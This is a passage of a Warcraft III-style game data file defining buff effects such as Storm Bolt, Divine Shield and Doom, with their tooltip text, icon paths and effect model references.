(Caster)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[BHca]\n_code=\"BHca\"\n_id=\"BHca\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNColdArrows.blp\"\nbufftip=\"Cold Arrows\"\nbuffubertip=\"This unit was hit by a Cold Arrow; its attack rate and movement speed have been reduced.\"\neditorsuffix=\" (Non-stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BHds]\n_code=\"BHds\"\n_id=\"BHds\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDivineIntervention.blp\"\nbufftip=\"Divine Shield\"\nbuffubertip=\"This unit is under a Divine Shield; it is invulnerable.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\DivineShield\\\\DivineShieldTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BHfs]\n_code=\"BHfs\"\n_id=\"BHfs\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWallOfFire.blp\"\nbufftip=\"Flame Strike\"\nbuffubertip=\"This unit is in a Flame Strike, and is taking damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\FlameStrike\\\\FlameStrikeDamageTarget.mdl\"\ntargetattachcount=0\n\n[BHtb]\n_code=\"BHtb\"\n_id=\"BHtb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStormBolt.blp\"\nbufftip=\"Storm Bolt\"\nbuffubertip=\"This unit is stunned by Storm Bolt; it cannot move, attack, or cast spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\StormBolt\\\\StormBoltTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BHtc]\n_code=\"BHtc\"\n_id=\"BHtc\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNThunderclap.blp\"\nbufftip=\"Thunder Clap\"\nbuffubertip=\"This unit has been hit by Thunder Clap; its movement speed and attack rate are reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Orc\\\\StasisTrap\\\\StasisTotemTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BHwe]\n_code=\"BHwe\"\n_id=\"BHwe\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSummonWaterElemental.blp\"\nbufftip=\"Water Elemental\"\nbuffubertip=\"Summoned units are vulnerable to dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"human\"\nspelldetail=0\ntargetattachcount=0\n\n[BIcb]\n_code=\"BIcb\"\n_id=\"BIcb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNOrbOfCorruption.blp\"\nbufftip=\"Corruption\"\nbuffubertip=\"This unit was hit by an Orb of Corruption; its armor is temporarily reduced.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BIcf]\n_code=\"BIcf\"\n_id=\"BIcf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNCloakOfFlames.blp\"\nbufftip=\"Cloak of Flames\"\nbuffubertip=\"This unit has a Cloak of Flames; nearby enemy ground units will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\NightElf\\\\Immolation\\\\ImmolationDamage.mdl\"\nspecialattach=\"head\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\Immolation\\\\ImmolationTarget.mdl\"\ntargetattachcount=0\n\n[BIil]\n_code=\"BIil\"\n_id=\"BIil\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWand.blp\"\nbufftip=\"Illusion\"\nbuffubertip=\"This unit is an illusion; it takes extra damage from enemies.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Orc\\\\MirrorImage\\\\MirrorImageDeathCaster.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[BImo]\n_code=\"BImo\"\n_id=\"BImo\"\n_type=\"buff\"\nbufftip=\"Monster Lure\"\nbuffubertip=\"Nearby creeps will be summoned to this lure.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BIpb]\n_code=\"BIpb\"\n_id=\"BIpb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNOrbOfVenom.blp\"\nbufftip=\"Venom\"\nbuffubertip=\"This unit is poisoned, and will take damage over time.\"\neditorsuffix=\" (Non-stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[BIpd]\n_code=\"BIpd\"\n_id=\"BIpd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNOrbOfVenom.blp\"\nbufftip=\"Venom\"\nbuffubertip=\"This unit is poisoned; it will take damage over time.\"\neditorsuffix=\" (Stacking)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=2\ntargetart=\"Abilities\\\\Weapons\\\\PoisonSting\\\\PoisonStingTarget.mdl\"\ntargetattachcount=0\n\n[BIpv]\n_code=\"BIpv\"\n_id=\"BIpv\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPotionOfVampirism.blp\"\nbufftip=\"Vampiric Potion\"\nbuffubertip=\"This Hero used a Vampiric Potion; the Hero has increased damage and a life-draining attack.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BIrb]\n_code=\"BIrb\"\n_id=\"BIrb\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNRune.blp\"\nbufftip=\"Reborn\"\nbuffubertip=\"This unit has been reborn.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BIrg]\n_code=\"BIrg\"\n_id=\"BIrg\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNGreaterRejuvScroll.blp\"\nbufftip=\"Rejuvenation\"\nbuffubertip=\"This unit will regenerate health and mana over time.\"\neditorsuffix=\" (Item)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ANrl\\\\ANrlTarget.mdl,Abilities\\\\Spells\\\\Other\\\\ANrm\\\\ANrmTarget.mdl\"\ntargetattach=\"origin\"\ntargetattach1=\"origin\"\ntargetattachcount=2\n\n[BIrl]\n_code=\"BIrl\"\n_id=\"BIrl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHealingSalve.blp\"\nbufftip=\"Regeneration\"\nbuffubertip=\"This unit has Regeneration on it; its hit points will regenerate over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ANrm\\\\ANrmTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BIrm]\n_code=\"BIrm\"\n_id=\"BIrm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNPotionOfClarity.blp\"\nbufftip=\"Clarity Potion\"\nbuffubertip=\"This unit drank a Clarity Potion; its mana will regenerate over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\ANrl\\\\ANrlTarget.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BIsh]\n_code=\"BIsh\"\n_id=\"BIsh\"\n_type=\"buff\"\nbufftip=\"Headhunter Spirit\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BIsv]\n_code=\"BIsv\"\n_id=\"BIsv\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNUsedSoulGem.blp\"\nbufftip=\"Soul Theft\"\nbuffubertip=\"This is the soul of a Hero.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Items\\\\AIso\\\\BIsvTarget.mdl\"\ntargetattachcount=0\n\n[BIwb]\n_code=\"BIwb\"\n_id=\"BIwb\"\n_type=\"buff\"\neditorname=\"Item Web\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNab]\n_code=\"BNab\"\n_id=\"BNab\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNAcidBomb.blp\"\nbufftip=\"Acid Bomb\"\nbuffubertip=\"This unit has been Acid Bombed. It has reduced armor, and is being damaged over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\AcidBomb\\\\BottleImpact.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[BNba]\n_code=\"BNba\"\n_id=\"BNba\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTheBlackArrow.blp\"\nbufftip=\"Black Arrow\"\nbuffubertip=\"This unit was hit by a Black Arrow; if it dies, it will turn into a skeleton for the enemy.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNbf]\n_code=\"BNbf\"\n_id=\"BNbf\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBreathOfFire.blp\"\nbufftip=\"Breath of Fire\"\nbuffubertip=\"This unit has been hit by Breath of Fire; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\BreathOfFire\\\\BreathOfFireDamage.mdl\"\ntargetattachcount=0\n\n[BNbr]\n_code=\"BNbr\"\n_id=\"BNbr\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNBattleRoar.blp\"\nbufftip=\"Battle Roar\"\nbuffubertip=\"This unit has Battle Roar; its attack damage has been increased.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=1\ntargetart=\"Abilities\\\\Spells\\\\NightElf\\\\BattleRoar\\\\RoarTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNcg]\n_code=\"BNcg\"\n_id=\"BNcg\"\n_type=\"buff\"\nbufftip=\"Clockwerk Goblin\"\nbuffubertip=\"Clockwerk Goblin.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNcr]\n_code=\"BNcr\"\n_id=\"BNcr\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNChemicalRage.blp\"\nbufftip=\"Chemical Rage\"\nbuffubertip=\"This unit is benefiting from Chemical Rage. It is moving and attacking more quickly.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNcs]\n_code=\"BNcs\"\n_id=\"BNcs\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNClusterRockets.blp\"\nbufftip=\"Cluster Rockets\"\nbuffubertip=\"Cluster Rockets.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\Thunderclap\\\\ThunderclapTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNdc]\n_code=\"BNdc\"\n_id=\"BNdc\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSleep.blp\"\nbufftip=\"Dark Conversion\"\nbuffubertip=\"This villager was hit by Dark Conversion; it will fall asleep and then turn into a zombie.\"\neffectart=\"Abilities\\\\Spells\\\\Demon\\\\DarkConversion\\\\ZombifyTarget.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\Sleep\\\\SleepTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNdh]\n_code=\"BNdh\"\n_id=\"BNdh\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStrongDrink.blp\"\nbufftip=\"Drunken Haze\"\nbuffubertip=\"This unit was hit by a Drunken Haze; it has reduced movement speed and a chance to miss on attacks.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\StrongDrink\\\\BrewmasterTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNdi]\n_code=\"BNdi\"\n_id=\"BNdi\"\n_type=\"buff\"\nbufftip=\"Doom\"\nbuffubertip=\"This unit has been stricken with Doom; it will take damage until it dies, and a Demon will spawn from its corpse. Doom cannot be dispelled or cancelled.\"\neditorsuffix=\" (Minion)\"\neffectart=\"Abilities\\\\Spells\\\\Other\\\\Doom\\\\DoomDeath.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Doom\\\\DoomDeath.mdl\"\ntargetattachcount=0\n\n[BNdm]\n_code=\"BNdm\"\n_id=\"BNdm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTheBlackArrow.blp\"\nbufftip=\"Dark Minion\"\nbuffubertip=\"Summoned units take damage from dispels.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNdo]\n_code=\"BNdo\"\n_id=\"BNdo\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNDoom.blp\"\nbufftip=\"Doom\"\nbuffubertip=\"This unit has been stricken with Doom; it cannot cast spells and will take damage until it dies, and a Demon will spawn from its corpse. Doom cannot be dispelled or cancelled.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Doom\\\\DoomTarget.mdl\"\ntargetattachcount=0\n\n[BNef]\n_code=\"BNef\"\n_id=\"BNef\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStormEarth&Fire.blp\"\nbufftip=\"Pandaren Elemental\"\nbuffubertip=\"I am a Pandaren Elemental; worship me.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\MirrorImage\\\\MirrorImageDeathCaster.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Orc\\\\MirrorImage\\\\MirrorImageDeathCaster.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[BNeg]\n_code=\"BNeg\"\n_id=\"BNeg\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNEngineeringUpgrade.blp\"\nbufftip=\"Engineering Upgrade\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestLeft.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestRight.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestMountLeft.mdl,Abilities\\\\Spells\\\\Undead\\\\ThornyShield\\\\ThornyShieldTargetChestMountRight.mdl\"\ntargetattach=\"chest,left\"\ntargetattach1=\"chest,right\"\ntargetattach2=\"chest,mount,left\"\ntargetattach3=\"chest,mount,right\"\ntargetattachcount=4\n\n[BNfy]\n_code=\"BNfy\"\n_id=\"BNfy\"\n_type=\"buff\"\nbufftip=\"Pocket Factory\"\nbuffubertip=\"Pocket Factory.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNhs]\n_code=\"BNhs\"\n_id=\"BNhs\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHealingSpray.blp\"\nbufftip=\"Healing Spray\"\nbuffubertip=\"This unit is being healed by Healing Spray.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNht]\n_code=\"BNht\"\n_id=\"BNht\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNHowlOfTerror.blp\"\nbufftip=\"Howl of Terror\"\nbuffubertip=\"This unit has heard the Howl of Terror; it deals less damage for a duration.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\HowlOfTerror\\\\HowlTarget.mdl\"\ntargetattachcount=0\n\n[BNic]\n_code=\"BNic\"\n_id=\"BNic\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNIncinerate.blp\"\nbufftip=\"Incinerate\"\nbuffubertip=\"This target is partially aflame, and will incinerate if it dies, causing damage to nearby units.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Other\\\\Incinerate\\\\FireLordDeathExplode.mdl\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Incinerate\\\\IncinerateBuff.mdl\"\ntargetattach=\"chest\"\ntargetattachcount=0\n\n[BNin]\n_code=\"BNin\"\n_id=\"BNin\"\n_type=\"buff\"\nbufftip=\"Infernal\"\nbuffubertip=\"This Infernal is mighty.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNlm]\n_code=\"BNlm\"\n_id=\"BNlm\"\n_type=\"buff\"\nbufftip=\"Lava Spawn\"\nbuffubertip=\"Lava Spawn.\"\niseffect=0\nmissilearc=0.99\nmissileart=\"Abilities\\\\Weapons\\\\LavaSpawnMissile\\\\LavaSpawnBirthMissile.mdl\"\nmissilehoming=1\nmissilespeed=200\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNmr]\n_code=\"BNmr\"\n_id=\"BNmr\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTemp.blp\"\nbufftip=\"Mind Rot\"\nbuffubertip=\"This unit has been hit by Mind Rot; it is losing mana over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNms]\n_code=\"BNms\"\n_id=\"BNms\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNNeutralManaShield.blp\"\nbufftip=\"Mana Shield\"\nbuffubertip=\"This unit has a Mana Shield; it is temporarily protected from physical damage and negative spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\ManaShield\\\\ManaShieldCaster.mdl\"\ntargetattachcount=0\n\n[BNpa]\n_code=\"BNpa\"\n_id=\"BNpa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNParasite.blp\"\nbufftip=\"Parasite\"\nbuffubertip=\"This unit has been inflicted with a parasite; it will take damage over time, and if it dies while still afflicted, a minion will spawn from its corpse.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Parasite\\\\ParasiteTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNpi]\n_code=\"BNpi\"\n_id=\"BNpi\"\n_type=\"buff\"\neditorname=\"Permanent Immolation\"\neditorsuffix=\" (Neutral Hostile 1)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\NightElf\\\\Immolation\\\\ImmolationDamage.mdl\"\nspecialattach=\"head\"\nspelldetail=0\ntargetattachcount=0\n\n[BNpm]\n_code=\"BNpm\"\n_id=\"BNpm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNParasite.blp\"\nbufftip=\"Parasite\"\nbuffubertip=\"This unit has been inflicted with a parasite; it will take damage over time, and if it dies while still afflicted, a minion will spawn from its corpse.\"\neditorsuffix=\" (Minion)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNrd]\n_code=\"BNrd\"\n_id=\"BNrd\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNFire.blp\"\nbufftip=\"Rain of Fire\"\nbuffubertip=\"This unit was hit by Rain of Fire; it will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Human\\\\FlameStrike\\\\FlameStrikeDamageTarget.mdl\"\ntargetattachcount=0\n\n[BNrf]\n_code=\"BNrf\"\n_id=\"BNrf\"\n_type=\"buff\"\neditorname=\"Rain of Fire (Area)\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNsa]\n_code=\"BNsa\"\n_id=\"BNsa\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNStaffOfSanctuary.blp\"\nbufftip=\"Sanctuary\"\nbuffubertip=\"This unit is under the effects of a Staff of Sanctuary; its hit points will regenerate over time, but it cannot move, attack or cast spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Items\\\\StaffOfSanctuary\\\\Staff_Sanctuary_Target.mdl\"\ntargetattachcount=0\n\n[BNsg]\n_code=\"BNsg\"\n_id=\"BNsg\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNGrizzlyBear.blp\"\nbufftip=\"Bear\"\nbuffubertip=\"A ferocious bear.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNsi]\n_code=\"BNsi\"\n_id=\"BNsi\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSilence.blp\"\nbufftip=\"Silence\"\nbuffubertip=\"This unit is Silenced; it cannot cast spells.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\Silence\\\\SilenceTarget.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNsl]\n_code=\"BNsl\"\n_id=\"BNsl\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSleep.blp\"\neditorname=\"Soul Preservation\"\neffectsound=\"SoulPreservation\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNso]\n_code=\"BNso\"\n_id=\"BNso\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSoulBurn.blp\"\nbufftip=\"Soul Burn\"\nbuffubertip=\"This unit is afflicted by Soul Burn. It cannot cast spells, attacks for less damage, and will take damage over time.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Other\\\\SoulBurn\\\\SoulBurnbuff.mdl\"\ntargetattach=\"overhead\"\ntargetattachcount=0\n\n[BNsq]\n_code=\"BNsq\"\n_id=\"BNsq\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNQuillBeast.blp\"\nbufftip=\"Quilbeast\"\nbuffubertip=\"An angry quilbeast.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNss]\n_code=\"BNss\"\n_id=\"BNss\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNSpellShieldAmulet.blp\"\nbufftip=\"Spell Shield\"\nbuffubertip=\"A protective shield that blocks a spell.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetart=\"Abilities\\\\Spells\\\\Items\\\\SpellShieldAmulet\\\\SpellShieldCaster.mdl\"\ntargetattach=\"origin\"\ntargetattachcount=0\n\n[BNst]\n_code=\"BNst\"\n_id=\"BNst\"\n_type=\"buff\"\neditorname=\"Stampede\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNsw]\n_code=\"BNsw\"\n_id=\"BNsw\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNWarEagle.blp\"\nbufftip=\"Hawk\"\nbuffubertip=\"A proud hawk.\"\neffectart=\"Abilities\\\\Spells\\\\Orc\\\\FeralSpirit\\\\feralspiritdone.mdl\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNtm]\n_code=\"BNtm\"\n_id=\"BNtm\"\n_type=\"buff\"\nbuffart=\"ReplaceableTextures\\\\CommandButtons\\\\BTNTransmute.blp\"\nbufftip=\"Transmute\"\nbuffubertip=\"This unit is being transmuted and will die very soon. It will be converted into gold which will be given to the player who cast Transmute.\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspecialart=\"Abilities\\\\Spells\\\\Other\\\\Transmute\\\\PileofGold.mdl\"\nspelldetail=0\ntargetattachcount=0\n\n[BNto]\n_code=\"BNto\"\n_id=\"BNto\"\n_type=\"buff\"\nbufftip=\"Tornado\"\neditorsuffix=\" (Timed Life)\"\neffectsoundlooped=\"TornadoLoop\"\niseffect=0\nmissilearc=0.0\nmissilehoming=0\nmissilespeed=0\nrace=\"other\"\nspelldetail=0\ntargetattachcount=0\n\n[BNva]\n_code=\"BNva\"\n_id=\"BNva\"\n_type=\"buff\"\neditorname=\"Volcano 